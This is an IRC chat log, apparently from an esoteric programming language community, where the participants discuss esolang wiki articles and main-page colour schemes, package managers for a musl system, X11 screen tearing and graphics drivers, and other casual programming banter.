15:15:17 <elliott> the rest of it certainly seems good quality
15:17:59 <elliott> oerjan: yeah you're right, it's a very good article by our standards
15:18:05 <elliott> just the introduction needs improvement
15:18:58 <oerjan> i think fixing that up was one of the first things i did after joining the wiki
15:20:11 <elliott> @ask RocketJSquirrel What is the replacement address for http://www.befunge.org/fyb/glass/?
15:20:23 <elliott> Ah, http://codu.org/eso/glass/.
15:20:58 <elliott> i would presume so, it obviously has the necessary control flow, but are the integers unbounded?
15:21:26 <elliott> (also, do you think it belongs in [[Category:Low-level]]? on the one hand, it involves lots of stack-munging and "VMy" things; on the other hand, it's OOP...)
15:21:41 <oerjan> elliott: i cannot imagine how it wouldn't be with a complete object system, although i have never looked deeply into how using it in real OOP style works
15:22:04 <oerjan> but i'd imagine you can make linked lists and stuff
15:22:47 <oerjan> ...i think part of glass is being _both_ high and low level in a ridiculous way
15:23:04 <elliott> indeed, i'll leave it without either of the categories
15:23:29 <elliott> oerjan: i really wish there was a wikicode shorthand for <code>.
15:23:48 <elliott> or at least a shortcut for it.
15:25:22 <oerjan> huh i joined the wiki before i even got my laptop. it may have been part of the reason why i got it, as my aunt got fed up with me using her computer all the time :P
15:25:56 <elliott> [[Glass is considered unique by its creator because it combines the
15:25:57 <elliott> unintuitive postfix notation with object orientation, and also requires
15:25:57 <elliott> extensive use of a main stack, despite being (mostly)
15:26:07 <elliott> it is also considered unique because it is redundant, and redundant.
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15:29:07 <elliott> oerjan: ok now i need to work out how to work in the fact that EgoBot interprets it (because most people probably don't want to compile a C++ program)
15:29:59 <elliott> oerjan: also, your /// interpreter is available on your site, right? there's no point duplicating it on-wiki if so.
15:31:12 <oerjan> elliott: er i _made_ it to be included on the wiki. the fact that i also have several versions on my site is incidental.
15:31:26 <oerjan> it is after all quite short.
15:31:47 <elliott> oerjan: well, it is not the ideal place for code...
15:31:53 <elliott> you can Ctrl+S a standalone file
15:32:21 <elliott> (indeed graue has deleted code pages after migrating them to the file archive)
15:32:27 <elliott> i suppose it's short enough that it doesn't matter.
15:39:48 <elliott> oerjan: hey what do you think about swapping the colours of the meta and for readers box on the main page
15:43:25 <oerjan> those are afaict the two most compatible colors in the set and so i don't feel swapping them should make much of a difference
15:43:53 <elliott> blue feels like a meta colour for some reason. also, green is our colour, so it should be on the most important section, or something.
15:44:32 <elliott> i notice nobody has commented on the last link in the meta section yet :
15:44:47 <oerjan> i read about it in the logs.
15:45:37 * oerjan wonders if he should mention that he doesn't really like peach color
15:46:07 <elliott> oerjan: sheesh, i had a hard enough time coming up with acceptable colours in general.
15:46:13 <elliott> that one is meant to be pale red.
15:46:21 <elliott> feel free to suggest a better one :P
15:46:37 <elliott> (orange was suggested; that was the result of trying to make orange pale enough)
15:48:27 <elliott> oerjan: as in, a better colour, not a better pale red
15:48:39 <elliott> it is a bit close to the featured language colour.
15:49:23 * oerjan is not good with style design
15:52:02 <elliott> (the boxes were too tall, vertically)
15:52:51 <elliott> oerjan: perhaps http://en.wikipedia.org/wiki/List_of_colors will inspire you :P
15:56:16 <elliott> This article definitely needs a different picture, in the one showing at the moment square A is obviously darker than square B. —Preceding unsigned comment added by 129.240.146.29 (talk) 13:28, 7 December 2009 (UTC)
15:56:16 <elliott> -- comment left on [[Talk:Checker shadow illusion]]
15:59:16 <elliott> You are a liar, sir. They are not the same color. This might work in a real-life example, but the picture is a mock-up to show the effect. —Preceding unsigned comment added by 138.163.0.43 (talk) 18:46, 15 January 2008 (UTC)
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16:00:32 <lambdabot> RocketJSquirrel: You have 1 new message. '/msg lambdabot @messages' to read it.
16:00:37 <lambdabot> elliott asked 40m 26s ago: What is the replacement address for http://www.befunge.org/fyb/glass/?
16:01:24 <elliott> RocketJSquirrel: There's even a crank: http://en.wikipedia.org/wiki/Talk:Checker_shadow_illusion#Equivocation
16:03:57 <elliott> That guy has posted comments on the page from 2009 to 2011.
16:06:29 <oerjan> bah every attempt either looks worse or too similar to wikipedia's scheme :P
16:06:39 <elliott> oerjan: i don't care about similarity to wikipedia's scheme
16:06:53 <elliott> oerjan: otoh i would like it if it was a three-letter rgb code
16:07:03 <elliott> i.e. #rgb rather than #rrggbb
16:07:09 <elliott> i don't know why that is, it just makes me happier :P
16:07:21 <elliott> if you have any ones that look nice go ahead, I'll try them out
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16:08:11 <elliott> http://esolangs.org/wiki/Inflection Well this is a lovely talk page masquerading as an article.
16:08:35 <oerjan> elliott: i was sort of working within that restriction. what i have right now is FE5 for featured and ECF for creators
16:09:13 <elliott> oerjan: er you don't like the featured colour either?
16:09:32 <elliott> i'm rather attached to yellow for that one, it's brighter than the other colours on the page like a highlight.
16:09:39 <oerjan> i thought making it closer to gold might make it sort of more prominent
16:09:54 <oerjan> well yes, with my scheme it's still the only warm color
16:10:04 <elliott> well, it's more prominent, but it also kind of ruins the pastel thing
16:10:20 <elliott> ECF is quite nice, I was wondering if purple might be good
16:11:12 <elliott> otoh it could do with being a little less close to DDE, the meta colour
16:11:15 <oerjan> as i implied, green-blue-purple is wikipedia's scheme :P
16:12:08 <oerjan> i have a problem getting it less close without giving it the red tint i'm trying to remove in the first place
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16:13:08 <elliott> wikipedia's purple is #DDCEF2, for what that's worth.
16:13:20 <elliott> so roughly #DDF or perhaps #DCF.
16:14:04 <elliott> otoh that's even closer to the meta colour
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16:54:30 <Phantom_Hoover> Guys tell me this was mocked appropriately at the time.
16:57:56 <elliott> Phantom_Hoover: Also oi what do you think of the new Code blocks: They are enclosed with { and }. For example: if (equals(a,b), {print("a equals to b") } )
16:58:01 <elliott> The new http://esolangs.org/wiki/Main_Page.
16:58:18 <Phantom_Hoover> I thought they were just another sign of the awfulness of it.
16:58:59 <Phantom_Hoover> Don't like the colour scheme, needs more contrast between "For creators" and "Featured language".
17:01:12 <elliott> Phantom_Hoover: Feel free to suggest a better colour for "for creators".
17:01:32 <elliott> Phantom_Hoover: That is the result of me trying to make orange pastelly enough.
17:01:44 <elliott> Also, if you think orange will make it look *less* like the featured language heading...
17:01:50 <elliott> Phantom_Hoover: That is also the result of me trying to make red pastelly enough.
17:02:03 <elliott> It turns out that light red and light orange are both peach.
17:02:25 <elliott> I suppose I could make it pink but I couldn't find a nice pink.
17:02:47 <elliott> Phantom_Hoover: I don't mean pastel.
17:02:50 <elliott> I mean... what's the word.
17:02:50 <Phantom_Hoover> http://en.wikipedia.org/wiki/File:Commercial_pastels.JPG
17:03:17 <elliott> "Of a soft and delicate shade or color."
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17:19:10 <elliott> yay, I got G. to ragequit!
17:19:18 <elliott> I must get some kind of badge for that
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17:28:13 <fizzie> Also #dce is closer to #ddcef2 than #dcf.
17:28:39 <elliott> Very-long-time nomic player (and internet nomic player), current Agora player.
17:29:00 <elliott> A bit on the curmudgeonly site.
17:29:17 <elliott> Also one of them fisheries research biologists.
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17:30:43 -!- Sleeptalik has changed nick to Tiktalik.
17:37:33 <augur> which of you people made computer music?
17:38:12 <quintopia> (what do you mean "computer music"?)
17:38:23 <elliott> music of computers flying out of windows
17:39:46 <augur> which of you has a self photo where you're wearing a hat
17:39:49 <augur> thats the question
17:40:07 <augur> maybe its not, but
17:40:34 <Sgeo> aka RocketJSquirrel
17:40:54 <augur> one of you makes piano music on your computer!
17:41:12 <Sgeo> AKA ROCKETJSQUIRREL
17:41:31 <augur> http://www.ted.com/talks/scott_rickard_the_beautiful_math_behind_the_ugliest_music.html
17:42:02 <RocketJSquirrel> augur: Yes, I've seen it. It is a very poor attempt at being bad music.
17:42:30 <augur> i suppose it depends on what you mean by bad but fine
17:42:36 <quintopia> also golomb ruler is p cool. i remember reading about it in a gardner book
17:43:36 <elliott> augur: That thing is a fine example of why TED talks are complete bullshit.
17:43:58 <augur> do tell why you think this is so
17:44:22 <elliott> The music has melody and rhythm; I found it perfectly listenable. It might not be a pop song, but it's hardly the most ugly or dischordant music by a very long shot.
17:44:38 <elliott> Oh, it's not even a TED talk.
17:44:40 <augur> it had neither melody nor rhythm, i dont know what you're talking about
17:44:57 <elliott> Relatedly, another TEDx talk was about that vortex math thing.
17:45:25 <augur> what vortex math thing
17:45:38 <elliott> http://www.youtube.com/watch?v=Yzfgq1zv8jg
17:46:06 <elliott> Don't watch unless you want 10 minutes of complete mathematical/scientific crackpottery.
17:46:49 <RocketJSquirrel> Indeed it has neither melody or rhythm, but that's kind of why it's such a poor attempt at bad music.
17:47:33 <elliott> My standards for melody and rhythm may be lower than others.
17:47:46 <elliott> But I certainly didn't find it an especially unpleasant arrangement of sounds, just boring.
17:47:57 <augur> oh man this is painfully stupid
17:47:59 <RocketJSquirrel> <elliott> But I certainly didn't find it an especially unpleasant arrangement of sounds, just boring. <-- this is the only part of that I agree with
17:48:29 <augur> i think that's the wrong definition of bad, then
17:48:39 <elliott> RocketJSquirrel: The main problem is that it's played way too slowly, so it just sounds like a bunch of notes.
17:48:42 <augur> the goal was clearly laid out
17:48:46 <elliott> You can make anything sound like a bunch of notes.
17:48:55 <augur> the measure of goodness he employed was quite precise, and he achieved the opposite of it
17:49:14 <augur> your measure of good or bad is "how pleasing it is"
17:49:14 <nortti> RocketJSquirrel: why does your post contain 0x08 byte before and after < and >?
17:49:30 <augur> but its not the measure he was using
17:49:37 <augur> obviously the measure he was using is crap but
17:49:59 <elliott> But seriously, TED talks are basically a tool by which people can make themselves feel excited and enlightened while learning nothing of significance, and by which people can promote themselves and make what they're doing sound vital and perfect, no matter what it is.
17:50:27 <augur> elliott: mostly true
17:50:33 <augur> there are some really good presentations tho
17:50:44 <elliott> Sure. Some people are interesting enough to rescue any venue.
17:51:30 -!- augur has set topic: see what now.
17:51:40 -!- augur has set topic: This is SURPRISINGLY the WEIRDEST CHEESE you will ANNOTATE all RAMADAN: http://championofbirds.com/?p=4991 | http://codu.org/logs/_esoteric/.
17:53:39 <nortti> does anyone here have any experience with RISC OS or MorphOS?
17:54:49 <quintopia> i agree with elliott re: definition of music. i do not require such trivialities as melody, rhythm, harmony. i actually have schoenberg, webern, etc. in my collection. klangfarbenmelodie is pretty cool.
17:55:05 <elliott> http://www.youtube.com/watch?v=bxch-yi14BE <-- this is amazing, watch it now
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17:56:32 <augur> elliott: http://www.youtube.com/watch?v=K93dL65Q724
17:58:09 <elliott> augur: i watched the first few videos of the intro by the guy in the tedx talk
17:58:14 <elliott> they were enthralling, we watched them in here communally
17:58:23 <augur> oh my god dude this is comedy gold
17:58:43 <elliott> no the other guy's are better
17:58:49 <elliott> i haven't even watched these and i can guarantee it
18:01:35 <RocketJSquirrel> Hmm, is there a from-source package system and archive that makes some sort of attempt to work on multiple OSes?
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18:05:26 <elliott> Wait, whaddya mean by OSes
18:05:33 <elliott> http://www.netbsd.org/docs/software/packages.html runs on multiple OSes
18:06:16 <elliott> RocketJSquirrel: Neither of those use package archives though.
18:06:39 <elliott> pkgsrc is the typical ports-ish system, Nix uses derivation files on their own that reference external file sources.
18:06:55 <elliott> RocketJSquirrel: Most people handle the building concern separately to package systems, I think.
18:07:43 <elliott> RocketJSquirrel: Well, I don't see what you mean by "OS" then.
18:07:56 <elliott> Obviously rpm/dpkg/apt-get will work on anything Linuxy.
18:08:07 <RocketJSquirrel> Yes, and conveniently install glibc over my pretty musl system.
18:08:27 <RocketJSquirrel> I just want a way to bootstrap "try to install <this thing>" that doesn't involve me trudging through tons of packages myself.
18:08:32 <olsner> "The implementation should be 100% C++ object oriented"
18:08:45 <elliott> RocketJSquirrel: Ohhh, package archive
18:08:54 <elliott> Not as in archive format for packages
18:09:00 <elliott> I was thinking you wanted a .rpm/.deb type thing
18:09:11 <elliott> RocketJSquirrel: Well, Nix/Nixpkgs uses the system libc, I think.
18:09:17 <elliott> It bootstraps everything else though (its own compilers, etc.)
18:09:24 <elliott> RocketJSquirrel: But it works on OS X and Cygwin, so it should work on musl.
18:09:43 <elliott> RocketJSquirrel: Of course, that doesn't handle the "OSy" things, but in your situation it couldn't anyway.
18:10:10 <elliott> pkgsrc would... probably also work, but it's hard to quantify the immense magnitude of superiority Nix has over a bunch of Makefiles.
18:10:23 <elliott> RocketJSquirrel: Oh, Nix is C++ though, so you'll have to get libc++ working.
18:10:31 <elliott> pikhq_: (Is the C++ support for musl in a release or just the latest git?)
18:10:57 <elliott> It's the runtime libraries that matter.
18:11:06 <elliott> RocketJSquirrel: You could use Slackware's "package manager" and archive.
18:11:12 <elliott> RocketJSquirrel: Since they don't patch, the packages probably work.
18:11:21 <elliott> On the other hand, the package manager doesn't work.
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18:11:49 <RocketJSquirrel> elliott: I feel I'd be safer with an archive that at least makes an attempt to work in multiple places already.
18:12:10 <elliott> RocketJSquirrel: How about Gentoo Prefix
18:12:17 <elliott> Works on Linux, BSD, OS X and Interix.
18:12:30 <elliott> Sure, emerge sucks, and Gentoo sucks, but it's a *lot* of packages.
18:13:06 <elliott> RocketJSquirrel: OTOH I think it might want to build its own gcc, but I guess if you're bootstrapping that won't be a problem.
18:13:32 <elliott> RocketJSquirrel: You'll still want to put it as /opt or the like though, obviously, since it can't handle everything.
18:13:42 <elliott> RocketJSquirrel: Oh, you could just put it as /usr and use {/bin,/lib}.
18:14:09 <RocketJSquirrel> I'll put it in /opt or something, I have no desire to trudge on /.
18:14:23 <elliott> /usr is more suitable than /opt :P
18:14:37 <elliott> Or, I guess sabotage already uses /usr *shrug*
18:14:56 <elliott> RocketJSquirrel: Yeah, and if you change that, /usr/bin/env would break etc.
18:15:30 <elliott> RocketJSquirrel: I think Gentoo Prefix uses /opt/gentoo by default, so probably easiest to stick with that.
18:16:08 <RocketJSquirrel> It just seems to have an awfully large number of basic packages it builds into the prefix first >_>
18:16:22 <RocketJSquirrel> I'm fairly sure that just ./configure in gcc won't build a working gcc on musl.
18:17:12 <elliott> RocketJSquirrel: It should if you have a bootstrapped system.
18:17:19 <elliott> With musl as system libc and thus no musl-gcc.
18:17:40 <elliott> RocketJSquirrel: But you won't find any package sets that are widely-portable and use all the system facilities.
18:17:45 <RocketJSquirrel> No, because it will have the wrong dynamic loader, and I think certain components of gcc don't work anyway. sabotage's build of GCC has tons of options.
18:17:45 <elliott> That's basically impossible.
18:17:52 <elliott> They have to be isolationist by design.
18:18:03 <elliott> RocketJSquirrel: Well, fair enough. You can patch the gcc package, though.
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18:20:16 <elliott> RocketJSquirrel: Make a dummy gcc package that installs symlinks, then.
18:20:56 <RocketJSquirrel> There's the secondary issue that whatever it installs into the prefix will be very GNUy.
18:23:55 <elliott> RocketJSquirrel: If you just want NoGNU/Linux, your system will be sufficiently useless and bare that you will have no need for a package manager.
18:24:06 <elliott> RocketJSquirrel: P.S. Suggest a featured language candidate.
18:24:42 <elliott> RocketJSquirrel: On http://esolangs.org/wiki/Esolang:Featured_languages/Candidates :P
18:25:56 <RocketJSquirrel> I admit upon further observation that its page is rather ... spartan.
18:27:06 <elliott> RocketJSquirrel: Doesn't matter, the candidates page is meant to drive people to improve the articles of the candidates they prefer anyway.
18:27:35 <elliott> RocketJSquirrel: JESUS FUCKING CHRIST
18:27:41 <elliott> THREE PEOPLE HAVE ADDED LANGUAGES SO FAR
18:27:51 <elliott> THERE IS ONE LINE OF INSTRUCTIONS
18:27:56 <elliott> TWO OF THOSE PEOPLE HAVE BROKEN THOSE INSTRUCTIONS SO FAR
18:27:59 <elliott> AND THE FIRST HAD NO OPPORTUNITY TO BREAK THEM
18:28:36 <elliott> I just edited the page to fix Taneb's addition right before yours :P
18:29:06 <RocketJSquirrel> Also, the instructions don't say you should sign your addition, but everyone is.
18:29:39 <elliott> In my defence, ais523 added that signature when adding his entry without updating the rest of the instructions.
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18:41:47 <elliott> RocketJSquirrel: Oh, because he uses ~~~ for his fancy (UTC).
18:42:09 <elliott> Phantom_Hoover: What is Orisinal?
18:42:41 <elliott> I take it you are emulating the tone I take when you don't know of a thing.
18:44:02 <Phantom_Hoover> No, I was taking the "come on you've heard of Winterbells surely".
18:46:05 <Phantom_Hoover> (BtW, the highest recorded score is ~7,531,195,809,589,061,900,000.)
18:46:50 <Phantom_Hoover> (Apparently the author didn't account for the ridiculous heights to which scores could go.)
18:47:21 <elliott> My highest score is, uh, 140.
18:48:10 <Phantom_Hoover> Yeah, but note that a) the score per bell increases by 10 each bell and b) the birds which double your score are pretty common.
18:50:55 <elliott> Phantom_Hoover: Did you play that Hexagon game, by the way?
18:51:17 <elliott> http://distractionware.com/games/flash/hexagon/
18:51:58 <elliott> Phantom_Hoover: From the vvvvvvtoo many vs guy.
18:56:13 <elliott> Phantom_Hoover: http://jonaslund.com/works/selfsurfing/
18:56:25 <elliott> This is the best thing ever(?).
19:05:15 <elliott> RocketJSquirrel: Which words
19:06:49 <elliott> RocketJSquirrel: It's a Chrome extension that mirrors all the pages open in that guy's browser.
19:07:08 <elliott> He is browsing random nonsense for 24 hours in the most pointless performance art ever :P
19:08:38 <elliott> Derivative idea: That, but decentralised. Everyone synchronised, and everyone in control.
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19:14:29 <elliott> "I would like to ask this question because of two reasons. First, my only interest in programming is to write Sokoban programs"
19:16:00 <Deewiant> 2012-03-20 20:51:06 ( elliott) http://distractionware.com/games/flash/hexagon/
19:16:29 <fizzie> From elsewhere; it was suggested the call stack in a C implementation can give you an arbitrary-sized counter (or an arbitrary-sized finite-alphabet stack) that won't necessarily run into "void * has finite size" problems, as long as you just call functions with no parameters and don't use any auto variables.
19:16:49 <elliott> Deewiant: It's the thick red-band things that do me in; I rotate around them fine, but end up in the wrong rotation for the thing that immediately follows.
19:16:55 <fizzie> Sadly, that's just one stack/counter.
19:17:01 <elliott> fizzie: That's well-known here; the problem is that you only get a PDA.
19:17:11 <Deewiant> elliott: Yeah, they're annoying.
19:21:44 <elliott> About: "I like the puzzle game Sokoban." Website: sokoban.ws
19:21:49 <elliott> I'm sensing a pattern from this person.
19:25:08 <fizzie> Public displays of affection will *never* go out of fashion.
19:27:05 <Phantom_Hoover> Here in Scotland any public display of anything other than violent hatred towards another human is considered a sign of weakness.
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21:04:08 <oerjan> elliott: you talked about using something more pink, what about FCF?
21:05:08 <elliott> Phantom__Hoover: Because the other ones are 12-bit!
21:05:08 <oerjan> Phantom__Hoover: i just restarted deliberating as i came back home and had the tabs open
21:05:10 <fizzie> 12 bits should be enough for everyone.
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21:05:27 <elliott> oerjan: a bit too strong: that makes it the brightest section on a page.
21:05:35 <HackEgo> jackd: Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: http://esolangs.org/wiki/Main_Page
21:05:55 <oerjan> (i was wavering between those)
21:06:12 <elliott> i'll think about it some more, FDF is the best candidate yet though
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21:06:40 <fizzie> You must try all 4096. It's not that much.
21:07:39 <elliott> oerjan: i have to admit, i am slightly attached to the current colour scheme in that it has both the "standard" primary colours and the RGB primary colours.
21:07:54 <elliott> (ok mainly i just like that all the colours seem "equally far apart" from each other)
21:08:38 <oerjan> i'm thinking that the _green_ now is a little to strong with the rest, what about DFC?
21:09:17 <elliott> oerjan: #DFC seems more consistent. otoh that is the _first_ section people should read, so it using a strnoger colour makes sense
21:09:41 <elliott> oerjan: it is true that the current one seems a little dark though
21:10:20 <elliott> oerjan: i have wondered if colouring the background of the box contents with a lighter version of the header colours might be a decent idea, like wikipedia does.
21:10:32 <elliott> (we're ripping off their design to a point where i don't care about doing so further.)
21:10:44 <elliott> the page seems a little bland without it
21:10:47 <elliott> compared to the previous one
21:11:00 <fizzie> elliott: My suggestion: http://users.ics.tkk.fi/htkallas/argb.png
21:12:44 <oerjan> <elliott> (ok mainly i just like that all the colours seem "equally far apart" from each other) <-- i was trying to get something like "all the non-feature ones are cold, and equally far from each other, while the feature one stands out more"
21:13:16 <fizzie> (Just always remember to obey http://users.ics.tkk.fi/htkallas/argb2.png and everything will be fine.)
21:14:16 <oerjan> very merry colors, that
21:14:38 <fizzie> They're the official colours of the new "visual whateveritwas" of our university.
21:14:52 <fizzie> Well, "new", it was new two years back, maybe.
21:15:56 <fizzie> The second image is trying to indicate that when you pick a color for the logo, its immediate neighbours are then illegal to use anywhere.
21:17:53 <fizzie> Our official typefaces are Nimbus Sans Bold combined with Sentinel.
21:19:46 <elliott> <oerjan> <elliott> (ok mainly i just like that all the colours seem "equally far apart" from each other) <-- i was trying to get something like "all the non-feature ones are cold, and equally far from each other, while the feature one stands out more"
21:20:05 <elliott> oerjan: mind you, "for readers" is arguably more important than "featured language".
21:20:30 <elliott> i think that paler green makes the rest of the page look more pastel, paradoxically.
21:21:41 <oerjan> elliott: btw i have hunch you won't be able to fit even lighter background versions into 12 bit
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21:22:25 <elliott> oerjan: well i was going to derive them from the header values.
21:22:31 <elliott> with HSV or something of the sort.
21:22:46 <elliott> (ideally the template would do it itself)
21:28:21 <fizzie> CSS3 added HSL color specifications. fcolor uses that in the canvas-drawing for the hue-bar, and maybe something else too.
21:30:02 <fizzie> Also the weirdest; the HSL color conversion in CSS3 Color Module is given in ABC, of all the possible languages. Though admittedly it does look kinda pseudo like that.
21:30:09 <elliott> RocketJSquirrel: Impressive.
21:30:28 <fizzie> It's all "HOW TO RETURN" "PUT x IN y".
21:30:34 <fizzie> http://www.w3.org/TR/css3-color/#hsl-color
21:30:50 <elliott> CSS3 work started circa 1999, so wtf?
21:33:01 <MDude> I'm not sure what http://users.ics.tkk.fi/htkallas/argb2.png is meant to convey. Is it minimal distance needed for a color to seem distinct?
21:33:25 <fizzie> MDude: <fizzie> The second image is trying to indicate that when you pick a color for the logo, its immediate neighbours are then illegal to use anywhere.
21:33:40 <fizzie> So I guess that's kinda "yes".
21:34:20 <fizzie> Except the official recommendation is to use colors at least three steps apart, that's just a rule w.r.t. the color chosen for the logo.
21:34:54 <MDude> Well you want stuff next to each toher if you want something like flames in the background.
21:35:16 <MDude> But that's stuff that isn't really part of the logo so much as a texture applied to it.
21:35:47 <fizzie> That's not something you're allowed to do.
21:36:11 <fizzie> There's also three "official" logo colors (116 C, 032 C and 300 C), so if you do what's sorta-recommended and random-select one of those, you either go with 355 C green for the rest, or programmatically select those too.
21:36:34 <MDude> I'm not sure what you're talking about, sicne I tohught this was about general logo design.
21:36:47 <fizzie> No, it's about our university's particular logo.
21:37:16 <elliott> fizzie: Have you considered opening an English branch in Mexico?
21:38:08 <MDude> So they neet a logo that consists of untextured some kind of shape?
21:38:15 <MDude> Could I see the current logo?
21:38:20 <MDude> Oh wait dinner or something.
21:39:25 <elliott> Their logo is top-left of http://www.aalto.fi/fi/; that's just the guidelines on how you use it.
21:39:32 <elliott> They put all kinds of symbols after it in different colours.
21:39:49 <elliott> fizzie: I see they made the site uglier.
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21:45:52 <fizzie> There's three colors and three punctuation characters, ?, ! and ".
21:46:09 <fizzie> Also there's an irssi script to "aaltofy" text by inserting random punctuation here and there.
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21:49:56 <fizzie> Also what's up with the front page, there's a blatant violation of the guidelines with a blue ! and a violet bar, even though those are neighbour colours.
21:50:27 <fizzie> Yeah, the logo color randomizes, while the page content doesn't.
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23:24:44 <olsner> so the compiler is done, but it fails when run in clang, because clang fails to initialize static variables in templates in the right order or something like that
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23:35:56 <olsner> starting to think that the compile-time environment is, sadly, more sane than the run-time environment
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02:43:38 <Methead> WEIRDEST CHEESE - what is it?
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03:52:54 <Sgeo> Yes, apt-get update after adding a ppa is in fact a good idea
03:53:08 <Sgeo> I think the original program was in the main repo
03:53:29 <Sgeo> But an older version
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04:39:41 <tswett> Is "arxiv" properly pronounced like "arfourteen"?
04:41:41 <shachaf> That's what I get for typing random Unicode codepoints into my IRC client to find χ.
04:42:39 <Sgeo> Don't look very random
04:42:46 <Sgeo> Alpha beta gamma
04:42:51 <shachaf> Sgeo: That's the thing about randomness.
04:49:12 <quintopia> suppose we reconstructed Turing from the remains of his corpse and frog DNA (a process known as "Turing-completion"). Jurassic Park tells us such a Turing would be able to switch sexes if the situation called for it.
04:49:48 <quintopia> Question: Given this possibility, would Turings, as a species, choose to remain male? or would some choose to switch to catch just for the novelty?
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06:49:29 <pikhq> There is precisely one way to avoid tearing on X11.
06:50:15 <pikhq> If you do otherwise and *don't* tear, it is only because you're getting lucky.
06:50:27 <pikhq> And probably not updating the screen often.
06:50:49 <pikhq> Try updating the screen 60 times a second? It'll tear like a mofo.
06:53:24 <pikhq> My hate for X11 has grown 3 sizes this day.
06:55:56 <pikhq> That either tears or is using OpenGL!
06:56:13 <pikhq> The composite manager *itself* has to render via X, you know.
07:04:58 <pikhq> Wayland can't come fast enough. Then maybe my code using SDL would be reasonable, instead of tearing like crazy.
07:05:09 <pikhq> As-is, I need to rewrite it to use OpenGL. :(
07:05:50 <fizzie> How about Xv? That's not OpenGL, programs that use it update the screen a lot, and I haven't *noticed* any tearing.
07:06:09 <Deewiant> I notice a lot of tearing with it, but maybe that's just AMD.
07:06:14 <pikhq> fizzie: Okay, you either need to use OpenGL or be rendering in a *completely different colorspace*.
07:06:40 <pikhq> Oh, and BTW, the driver support for it is either reasonable or moronic.
07:06:48 <Jafet> pikhq, all the cool kids use OpenGL.
07:07:22 <pikhq> The proprietary AMD drivers, for instance, do the colorspace conversion to RGB in software, don't vsync, *and* don't even do the colorspace conversion right.
07:08:25 <pikhq> (the free AMD drivers just route it through OpenGL)
07:09:56 <pikhq> fizzie: Just to elaborate: your screen is in the RGB colorspace, with color values of 8-bit red, green, and blue samples. Xv does the YUV colorspace, with color values of 8-bit luminance, U chrominance, and V chrominance. And those values are in the range [16..235] rather than [0..255].
07:10:08 <fizzie> I know about colorspaces.
07:10:15 <fizzie> Anyway, there's a regular 8-bits-per-sample packed RGB visual in my xvinfo for the "NV05 Video Blitter" adapter, that's not a different colorspace. (The "NV17 Video Texture" adapter doesn't have one, though.)
07:10:32 <pikhq> Why, you might ask? Because broadcasters are utterly mad and hate programmers.
07:12:15 <fizzie> No RGB visuals on the "Intel(R) Textured Video". I suppose it's not such a common thing.
07:12:17 <Deewiant> Oh hey, http://wiki.x.org/wiki/RadeonFeature seems to finally say something decent about Evergreen. Maybe the free drivers are usable nowadays.
07:12:51 <pikhq> I've been using them for months.
07:13:24 <pikhq> About my only complaint is slightly lower FPS in OpenGL, and a bug that only seems to trigger when I try running a Source game in WINE.
07:13:38 <Deewiant> Last I checked, which was probably several months ago, the Evergreen column was too red for my liking.
07:13:53 <pikhq> And given that that only even works if you are lucky *anyways*, that's not too big a concern.
07:14:11 <Deewiant> How's the power saving i.e. fan loudness?
07:14:34 <pikhq> No noticable difference.
07:14:36 <Deewiant> That was one reason to go with the proprietary, for me.
07:14:45 <pikhq> Though, I've got a desktop system.
07:15:09 <Deewiant> Until I start up X, the fan is ridiculously loud.
07:15:25 <Deewiant> And, previously, with the free driver. But maybe I'll give it another shot when I have the time.
07:15:46 <pikhq> I've also found that for anything 2D, the free drivers beat the proprietary ones soundly.
07:16:02 <Deewiant> Yes, that was the case even several months ago. :-P
07:16:07 <pikhq> Mind you, Flash still looks like shit.
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07:25:38 <hagb4rd> hi! i need to build a catalog-db storing information associated to any kind of file. neither i want to store any path/adresses nor the files themself, but some kind of a unique identifier (like a checksum). would you recommend any methods (like md5/sha-1 or whatever) when the primary goal is high performance (speed)
07:26:24 <hagb4rd> or maybe a totally different idea then a checksum?
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07:47:14 <kmc> http://www.youtube.com/watch?v=Xk_XaJ7gE4Q
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08:36:06 <kmc> "By default, Java Ciphers (at least in Sun's implementations) are constructed in what is called Electronic Codebook (ECB) mode."
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09:24:32 <elliott> http://www.reddit.com/r/haskell/comments/r6idy/inmemory_keyvalue_store_in_c_go_and_python/
09:24:40 <elliott> This link has so much to do with Haskell!
09:25:40 <shachaf> elliott: Well, it's about the other three languages that exist other than Haskell.
09:26:12 <olsner> but it's relevant! because "it seems Go's RTS implements things similar to GHC's RTS, which means we could get similar performance in Haskell"
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09:27:18 <fizzie> It's relevant because there's the letter H in both Haskell and PytHon.
09:28:09 <kmc> <shachaf> elliott: Well, it's about the other three languages that exist other than Haskell.
09:28:17 <kmc> ^^^ ah, I see it's proposing a problem to be solved by the Haskell community
09:28:19 <shachaf> How many letters H are there in this here sentence.
09:28:20 <kmc> the existence of other languages
09:28:29 <shachaf> If you found all six, you = genius
09:28:41 <kmc> YOU'RE WINNER!
09:29:04 <Deewiant> > filter (`elem` "Hh") "How many letters H are there in this here sentence."
09:29:20 <fizzie> Deewiant: Apparently lambdabot is not a genius. :/
09:29:20 <kmc> > length "HHhhh"
09:29:30 <shachaf> lambdabot: you /= genius :-(
09:29:39 * shachaf curses his broken compose key.
09:30:00 <olsner> nice, C and Python versions create one thread per request, but the post also notes "None of my implementations are thread safe"
09:30:00 <fizzie> ≠ hey there is a sequence for it wow.
09:30:01 <kmc> shachaf used U+EF6614A1 'LATIN CAPITAL LETTER H ALTERNATE NON-PRINTING PRESENTATION FORM'
09:30:23 <fizzie> The "really silent h".
09:30:26 <olsner> > length $ filter (`elem` "Hh") "<shachaf> How many letters H are there in this here sentence."
09:30:37 <kmc> i wish i could say "i was using Compose before it was cool" but that was probably 10 years before i was born
09:30:48 <shachaf> kmc: Compose was always cool.
09:31:25 <shachaf> Wow, my compose key just broke.
09:31:32 <shachaf> I think it's because I ran dist-upgrade.
09:31:46 <shachaf> I don't want to close my X session. :-(
09:31:58 <shachaf> Before I dist-upgraded it warned me that I might have to close my X session.
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09:32:07 <olsner> hurr durr, "The C and Python versions perform similarly. They are spending all their time in the recv system call."
09:32:08 <kmc> rebooting X is obsolete
09:32:20 <kmc> you just need to port ksplice to patch X
09:32:23 <kmc> that should be Trivial right?
09:34:48 <fizzie> There's an actual compose key in the Sun keyboard, maybe I should try hooking it up to a regular computer. I'm sure I recall seeing a driver for it in Kconfig and all.
09:35:24 <elliott> olsner: We just need IP over ansible.
09:35:40 <olsner> just fork a new X, send the relevant state over, then let the new process take over all the existing connections
09:35:47 <elliott> Then we can make recv O(1).
